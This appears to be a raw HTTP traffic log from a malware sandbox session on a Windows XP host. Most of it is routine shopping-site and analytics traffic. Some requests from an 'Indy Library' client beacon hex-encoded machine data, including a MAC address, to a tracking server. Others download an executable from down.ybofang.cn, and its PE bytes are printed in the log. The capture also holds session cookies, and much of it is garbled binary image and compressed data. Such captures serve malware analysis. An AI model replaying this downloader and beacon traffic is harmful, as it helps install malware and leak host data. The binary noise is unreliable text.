...!\)...8..a..XSAX.r...uU..X...r;.......r.........;... ..J..'upqQ..D.}mX.....v.E.T.h..,.}#.t.....t.\b.../F.\iE)P...#. |.S..[........x....).V...kU....,..F.:.U..B~.Rbo.#.AJ.G..z*t....>.....U.~K...7W.R4......Lm:..G.....h$#x.yj.y.eW.Q.z.....f.:qo....y.v ./l.......fzM.$....u.).)...3..T.'..V.V.M.._....5e..'....D.F.a.`K.K.i.}.......u..8.....OY.WU...#...y8*..

<<< skipped >>>

GET /tps/i3/TB1QMwDHVXXXXaFXXXXNDV3FVXX-150-50.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 138960

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:14:02 GMT

Last-Modified: Thu, 28 May 2015 08:46:08 GMT

Expires: Thu, 29 May 2025 11:14:02 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache59.l2de1[0,200-0,H], cache55.l2de1[1,0], cache5.de1[0,200-0,H], cache9.de1[0,0]

Age: 24189

X-Cache: HIT TCP_MEM_HIT dirn:1:269399069

X-Swift-SaveTime: Mon, 01 Jun 2015 11:17:01 GMT

X-Swift-CacheTime: 315359821

GIF89a..2.....:[....My.=YR 0.5[./Q.#W.Er.b..KJ.......GV.XQ..........KV.OT...k06.BX....u.....*C._O....-K.......Ch.4U.u........CC....RT....r........X.....BS.......wr......%$%.......Vi.f`...yh.....cu...UL..............TQ..,.F3...............3('eX..UN...............-.,.w .y.......rI%..(................*W..B.............j..;l............................oh.......7_....7;..{....5h..3.i:.)^[D).{..XA...:3!..H.................$|'>....vM....,a.ZY.HK....g........N1...ma.K 3.......eP............iab.....A./d....2f..../XE<........u.....E]..........].....3X.GU.............w.....O^.XP.Kd.KT.9Y.CS.>T.......S^>!/.BV......`#7...86;.Gg.=X.w..,]....-].0].PR. ]....2].[Q.]O....]Q.... _..&....-_.0_.-].......rO....3`.1f....(Y. ]._\./d.3\.?Y....0[....0\.:U.)^.LP..0.qy.s...........`P.*_.......)_...!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:827c50e5-eb45-490d-bdb7-578b1bc32878" xmpMM:DocumentID="xmp.did:E739D189FC6211E499688F5114B067D3" xmpMM:InstanceID="xmp.iid:E739D188FC6211E499688F5114B067D3" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:ins

<<< skipped >>>

GET /z_stat.php?id=1255080332 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s95.cnzz.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 10075

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:49:33 GMT

Last-Modified: Mon, 01 Jun 2015 17:49:33 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache42.l2de1[581,200-0,M], cache64.l2de1[582,0], cache1.de1[0,200-0,H], cache8.de1[1,0]

Age: 448

X-Cache: HIT TCP_MEM_HIT dirn:-2:-2

X-Swift-SaveTime: Mon, 01 Jun 2015 17:49:33 GMT

X-Swift-CacheTime: 5400

(function(){function k(){this.c="1255080332";this.R="z";this.N="";this.K="";this.M="";this.r="1433180973";this.P="oz.cnzz.com";this.L="";this.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz_CV" this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};this.la()}function g(a,b){try{var c=.[];c.push("siteid=1255080332");c.push("name=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.referrer));c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator.userAgent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Math.random()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeURIComponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(),this.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),this.ja(),this.j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.qa(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed")}},oa:function(){try{var a=this;e._czc={push:function(){return a.B.apply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var a=e._czc;if("[object Array]"==={}.toString.call(a))for(var b=0;b<a.length;b ){var c=a[b];switch(c[0]){case "_setAccount":e._cz_account="[object String]"==={}.toString.call(c[1])?c[1]:String(c[1]);.break;case "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_autoPageview=c[1])}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("undefined"===typeof e._cz_account||e._cz_account===this.c){e._cz_account=this.c;if

<<< skipped >>>

GET /json/collect_mark.htm?_ksTS=1433181431291_98&callback=jsonp99 HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: dskip.ju.taobao.com

Connection: Keep-Alive

Cookie: miid=6253757304298920846; v=0; cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc; t=7805c21e133a087bd21782c2fc4eeccb; _tb_token_=99grvpQKSo; cna=74rzDSF6YRECAcGK9Oe2PPyt; isg=CD75466E96B7C1255EF63CC048D0E982; l=Ap2dqUHVUxyoJyUQzxKcSA8x7XWXutEM; bid=7; jc=shanghai

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:12 GMT

Content-Type: text/html;charset=GBK

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Server-Num: judetail010179138144.s.et2

S: STATUS_NORMAL

Pragma: no-cache

Cache-Control: no-cache

Set-Cookie: uc1=cookie14=UoW0EaPwBRzqkw==; Domain=.taobao.com; Path=/

Set-Cookie: cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc;Domain=.taobao.com;Path=/;HttpOnly

Set-Cookie: t=7805c21e133a087bd21782c2fc4eeccb; Domain=.taobao.com; Expires=Sun, 30-Aug-2015 17:57:12 GMT; Path=/

P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'

Content-Language: zh-CN

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Via: wagbridge010181172127.s.et2[web]

Set-Cookie: bid=7; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT

Content-Encoding: gzip

4b.................*.. ......R.............% ....Xf.O~zf.P -1.8.....K....u.=.....0..HTTP/1.1 200 OK..Server: Tengine..Date: Mon, 01 Jun 2015 17:57:12 GMT..Content-Type: text/html;charset=GBK..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..Server-Num: judetail010179138144.s.et2..S: STATUS_NORMAL..Pragma: no-cache..Cache-Control: no-cache..Set-Cookie: uc1=cookie14=UoW0EaPwBRzqkw==; Domain=.taobao.com; Path=/..Set-Cookie: cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc;Domain=.taobao.com;Path=/;HttpOnly..Set-Cookie: t=7805c21e133a087bd21782c2fc4eeccb; Domain=.taobao.com; Expires=Sun, 30-Aug-2015 17:57:12 GMT; Path=/..P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'..Content-Language: zh-CN..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Via: wagbridge010181172127.s.et2[web]..Set-Cookie: bid=7; Domain=ju.taobao.com; Path=/; Expires=Wed, 12-Oct-2050 02:50:13 GMT..Content-Encoding: gzip..4b.................*.. ......R.............% ....Xf.O~zf.P -1.8.....K....u.=.....0..

<<< skipped >>>

POST /newcount.aspx HTTP/1.0

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 76

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

content=3831323235313B30302D30432D32392D38412D38422D33373B6665693F2833293B30

HTTP/1.1 200 OK

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:56:55 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 10

ok;1773463HTTP/1.1 200 OK..Connection: keep-alive..Date: Mon, 01 Jun 2015 17:56:55 GMT..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..X-AspNet-Version: 2.0.50727..Cache-Control: private..Content-Type: text/html; charset=utf-8..Content-Length: 10..ok;1773463..

GET /core.php?web_id=1254485011&t=z HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: c.cnzz.com

Connection: Keep-Alive

Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 752

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:46:08 GMT

Last-Modified: Mon, 01 Jun 2015 17:46:08 GMT

Expires: Mon, 01 Jun 2015 18:01:08 GMT

Via: cache25.l2de1[0,200-0,H], cache54.l2de1[0,0], cache5.de1[0,200-0,H], cache10.de1[0,0]

Age: 661

X-Cache: HIT TCP_MEM_HIT dirn:-2:-2

X-Swift-SaveTime: Mon, 01 Jun 2015 17:49:42 GMT

X-Swift-CacheTime: 686

!function(){var p,q,r,a=encodeURIComponent,b="1254485011",c="",d="",e="online_v3.php",f="z13.cnzz.com",g="1",h="text",i="z",j="站长统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="1",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)),o.push("s=" a(c)),n ="?" o.join("&"),"0"===m&&k.callRequest([l "//cnzz.mmstat.com/9.gif?abc=1"]),g&&(""!==d?k.createScriptIcon(n,"utf-8"):(q="z"==i?"hXXp://VVV.cnzz.com/stat/website.php?web_id=" b:"hXXp://quanjing.cnzz.com","pic"===h?(r=l "//icon.cnzz.com/img/" c ".gif",p="<a href='" q "' target=_blank title='" j "'><img border=0 hspace=0 vspace=0 src='" r "'></a>"):p="<a href='" q "' target=_blank title='" j "'>" j "</a>",k.createIcon([p])))}();HTTP/1.1 200 OK..Server: Tengine..Content-Type: application/javascript..Content-Length: 752..Connection: keep-alive..Date: Mon, 01 Jun 2015 17:46:08 GMT..Last-Modified: Mon, 01 Jun 2015 17:46:08 GMT..Expires: Mon, 01 Jun 2015 18:01:08 GMT..Via: cache25.l2de1[0,200-0,H], cache54.l2de1[0,0], cache5.de1[0,200-0,H], cache10.de1[0,0]..Age: 661..X-Cache: HIT TCP_MEM_HIT dirn:-2:-2..X-Swift-SaveTime: Mon, 01 Jun 2015 17:49:42 GMT..X-Swift-CacheTime: 686..!function(){var p,q,r,a=encodeURIComponent,b="1254485011",c="",d="",e="online_v3.php",f="z13.cnzz.com",g="1",h="text",i="z",j="站长统计",k=window["_CNZZDbridge_" b].bobject,l="http:",m="1",n=l "//online.cnzz.com/online/" e,o=[];o.push("id=" b),o.push("h=" f),o.push("on=" a(d)),

<<< skipped >>>

GET /stat.htm?id=1254485011&r=&lg=en-us&ntime=none&cnzz_eid=578974474-1433180982-&showp=1276x846&t=undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefined&h=1&rnd=1863171824 HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: oz.cnzz.com

Connection: Keep-Alive

Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt

HTTP/1.1 200 OK

Server: Tengine/1.4.6

Date: Mon, 01 Jun 2015 17:57:10 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 09 Mar 2015 09:01:02 GMT

Connection: close

Accept-Ranges: bytes

GIF89a.............!.......,...........D..;..

GET /4.gif?logtype=1&title=%u3010%u805A%u5212%u7B97%u3011%u65E0%u6240%u4E0D%u80FD%u805A&pre=http://s.click.taobao.com/t_js?tu=http%3A%2F%2Fs.click.taobao.com%2Ft%3Fe%3Dm%253D2%2526s%253D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%252BV2hm%252FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%252FDpPH01wK9AmARIwX9K%252BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV%26ref%3D%26et%3D558qJCi5lfDmNxpSGDi6si7lyGrLBGCr&cache=d5f48d9&scr=1276x846&spm-cnt=608.2291429.0.0.1ejWoV&isbeta=2&category=&uidaplus=&at_bucketid=jhs_ju_7&aplus&yunid=&&trid=0ab5aca614331814273453737e&asid=AQAAAADznGxVojnGDAAAAAAgcFJzMqXBWw==&p=1&o=winXP&b=ie6&s=1276x846&w=trident HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: log.mmstat.com

Connection: Keep-Alive

Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt

HTTP/1.1 302 Found

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:09 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: sca=361a82e5; path=/; domain=.mmstat.com

Set-Cookie: tbsa=6b43ef7ad92ee3440933f450_1433181429_1; path=/; domain=.mmstat.com

Set-Cookie: atpsida=b92f0ff7527df1996aeb7eb6_1433181429; expires=Thu, 29-May-25 17:57:09 GMT; path=/; domain=.mmstat.com

Location: hXXp://pcookie.taobao.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache

GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server: Tengine..Date: Mon, 01 Jun 2015 17:57:09 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: sca=361a82e5; path=/; domain=.mmstat.com..Set-Cookie: tbsa=6b43ef7ad92ee3440933f450_1433181429_1; path=/; domain=.mmstat.com..Set-Cookie: atpsida=b92f0ff7527df1996aeb7eb6_1433181429; expires=Thu, 29-May-25 17:57:09 GMT; path=/; domain=.mmstat.com..Location: hXXp://pcookie.taobao.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /small/sw/-2100_1_xcfx.exe HTTP/1.1

Host: down.ybofang.cn

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Wed, 20 May 2015 03:35:12 GMT

Accept-Ranges: bytes

ETag: "59dc60faad92d01:0"

Server: Microsoft-IIS/7.5

Date: Mon, 01 Jun 2015 17:57:17 GMT

Content-Length: 2396600

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1H..u)..u)..u)...&..w)..u)...)...&..d)...6...).../..t)..Richu)..........PE..L.....:J.................\..........!1.......p....@..........................@......).$......................................s...........m..........`v$.X............................................................p...............................text...8Z.......\.................. ..`.rdata.......p.......`..............@..@.data...X............r..............@....ndata.......@...........................rsrc....m.......n...v..............@..@........................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H....h>B..H.P.u..u..u...Hr@..X...SV.5p>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e..9}...Dp@........FP.VT........ M............U....M....3...3..FQ......3..NU.....M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...e....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F..

<<< skipped >>>

GET /app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: pcookie.taobao.com

Connection: Keep-Alive

Cookie: miid=6253757304298920846; v=0; cookie2=1c3cfe0ac26828dd2b4d453adc72d5dc

HTTP/1.1 200 OK

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:10 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:10 GMT; path=/; domain=.taobao.com

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache

GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Tengine..Date: Mon, 01 Jun 2015 17:57:10 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:10 GMT; path=/; domain=.taobao.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /tps/i4/TB1xrxIIXXXXXbxXpXXt7e2LVXX-1920-455.jpg_q75.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms04.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 33264

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:48:42 GMT

Last-Modified: Mon, 01 Jun 2015 11:42:49 GMT

Expires: Thu, 29 May 2025 11:48:42 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache34.l2de1[0,200-0,H], cache46.l2de1[0,0], cache5.uk1[0,200-0,H], cache10.uk1[0,0]

Age: 22107

X-Cache: HIT TCP_MEM_HIT dirn:1:900664583

X-Swift-SaveTime: Mon, 01 Jun 2015 11:49:38 GMT

X-Swift-CacheTime: 315359944

......JFIF.............C...........................#.%$"."!& 7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;..................................................A..........................!1aAQq."...2BR...#3b....$Cr.DS..L..................................4........................!1A."2Q.Ra3Bq.....#....$b.............?...[...............^..d\.M...8._.E...?TL.....b.4x/.... .Q...W..sW..#..U}*..j..^h..~u..s....^>G........n=....2\/..O...4.*......o.............*.|x..M.*.i.ze[sG.........s.....:.p,..........................................................................................................................D.."fg....W-.k.U9...j.Q?.p,../Y...(..W....e.....'......j&i..c....).....).......`.............{.0......`...0......`...0..v?I......?..."eON.....oO .U4Fi.zQL{"?.x...\]..].b..U..y..".n}...J.n..8..tc.3...O....\.=9...s...s..?..x.6.Y.......R~/.............Jg?....9..~q{..?..1........V.W...Q....bc14...(.......L...~...]....D....x.vyz...W.n..)..Z..[I..jO......\.1.u|.....L.B.\.E4.qnf....%....3.h0...7..r.E.b.&...~S..S..5.jr....-.. ..*.N_?....v.....D.W.akvs.u....I.0..7.....MUu...&iON...W..j.r....G.J...*VySg....Tyy..s.D}K.5.t.....`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......`...0......SD.TS...Y3N..]..O...%.:.s......E33.....r....n...1.3.....u.g..&.s..S4..W..........O...4....~...W>.4.#....Y.......hX.o...

<<< skipped >>>

GET /play/fxappimg/btn/tab3.png HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: image.anbangjiance.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Cache-Control: max-age=172800

Content-Type: image/png

Last-Modified: Mon, 01 Dec 2014 12:08:00 GMT

Accept-Ranges: bytes

ETag: "4d3aa735fdd01:0"

Server: Microsoft-IIS/7.5

Date: Mon, 01 Jun 2015 17:57:52 GMT

Content-Length: 12235

.PNG........IHDR...`...T........C....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:F9757A3FF07C11E3B9F38277EE41A726" xmpMM:DocumentID="xmp.did:F9757A40F07C11E3B9F38277EE41A726"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:F9757A3DF07C11E3B9F38277EE41A726" stRef:documentID="xmp.did:F9757A3EF07C11E3B9F38277EE41A726"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>u6>...,AIDATx..}..eGy^.}.}....Y.$"Y...0.A.v.'^....dk.(XU...e.A"..L*.8.Fc...v.....$.......J......Hveq**.9.e.7..{O.9.....r.{...T.Jo...O.w.........Y...w...0g..=.3. .7.t|.|.`..m*..g........D..D..D..{...}`..=#.._.S.L=....H.%...c.......).X...... .%.....7h.>p..g.......w.........o..o?..A...t....f...yQ}.....5t....j..o..gb..hy........l. ..(....*.../.....>..|..W./$....P.u4.P./i.......k...........p.?-SP..Pj..@.X1@......n.g../..!.:.....[-.......%x .'.....=........m....w-.3#.T.:P33...2R0)n'O....ysm.u4........G........|.p.........8q..7......6... ...............t.`.<.. .b..e5...^.F_T.3.,.U.w[..^...

<<< skipped >>>

HEAD /small/sw/-2100_1_xcfx.exe HTTP/1.1

Host: down.ybofang.cn

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/3.0 (compatible; Indy Library)

HTTP/1.1 200 OK

Content-Length: 2396600

Content-Type: application/octet-stream

Last-Modified: Wed, 20 May 2015 03:35:12 GMT

Accept-Ranges: bytes

ETag: "59dc60faad92d01:0"

Server: Microsoft-IIS/7.5

Date: Mon, 01 Jun 2015 17:57:16 GMT

GET /s/kissy/gallery/??kscroll/1.2/index-min.js,RichDate/1.0/index-min.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: a.tbcdn.cn

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 3711

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:57:04 GMT

Last-Modified: Mon, 09 Sep 2013 03:33:34 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache11.l2hk1[0,304-0,H], cache17.l2hk1[0,0], cache12.uk1[0,200-0,H], cache6.uk1[0,0]

Content-Encoding: gzip

Age: 3606

X-Cache: HIT TCP_MEM_HIT dirn:5:202406852

X-Swift-SaveTime: Mon, 01 Jun 2015 17:17:43 GMT

X-Swift-CacheTime: 3600

...........Yks.H..>..S;6D-..<&(...35S;..&N..<.T........W...=...dy2....M?n.>..G...X.**.<.....;...?<../......d.....o.{b.).we6Mk..\...x.......5.....e=.|.._>|...8v.).sQ...*.,1....j.d....X8.MX.....S.......u.U...VKQF9.*/*.U]...(...;.z....-.......p...KB3-..KQ......i..|...>g.;..Y....,hF...:.......(..Y...W..........8..@.l1u...e...8...~B{.,E.}.........\.<....oq........s.5..=).........$.....#v..o.,..u}.....V.-..5...u...."....4.U...\lj.......F.4.'..b.;1..Z. ..:.a"q.............mw.....%_:...M....g5.....M.........D=[..C.....{.]..#H ..w3..,{K.......g....J*...#.lY-m9P..Y..b_j"..c\.X...G....s^..v'........X.....`~j.fD..n........7...3..!..,f.b.{)...T|..9NB.v.... tt.V .a{.....F..e..Q..q)...e....G..a..b^.@".......2.]Y..IQ...3.~....|.<....XA.|C.f.4.3(.0..v.[...#..3..&...B[...<..?.y.8<...........|U...e...,.. ...U..."!.VR.....j.eQeD..]......Y;......n..N.........JD.V....\R-.Y2..Q'c...x..#.ap.4.2a...%.JY.jz..eS..........n-w.$..6..)....7.K...P...............4..u...3.....p.K....#.h]....Qb.)m..O=s.. Q.....>...J.......S.C...63 ....7Y.Mr..l!C..K.Y..32.....[...V._...XI..C...]..{..'.....{.P. 2..Z..`.td@.i..#.s....gO...R.6.....aJ$..e'.8.....,..s.....t......f4.........XLl.eV..[. ...'.. .I.m; .g....-.........`f..YK;..uk.b*e..LAG....f.bkJ|!...f.n....)A.....e....Q..l....;G...O;.6.3.E..#\!.@.w/..@....|...w.D:8....0.-G*B.e.%...@0.....|*>..;.....u..].3.....2X..4vM.e...!/v.\.2..Q.Q.H.a....H..7.ja..3.?t..`..O...,.9x.....v.....p.H..$l...2\...g.."..b#c..'.l.......'^,j..;.a..v22^N%..xP.#\H.....?..L<.T..Ss.&...W7

<<< skipped >>>

GET /tps/i3/TB1zdlkIXXXXXXjaXXXYMrr2pXX-750-300.jpg_Q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 74007

Connection: keep-alive

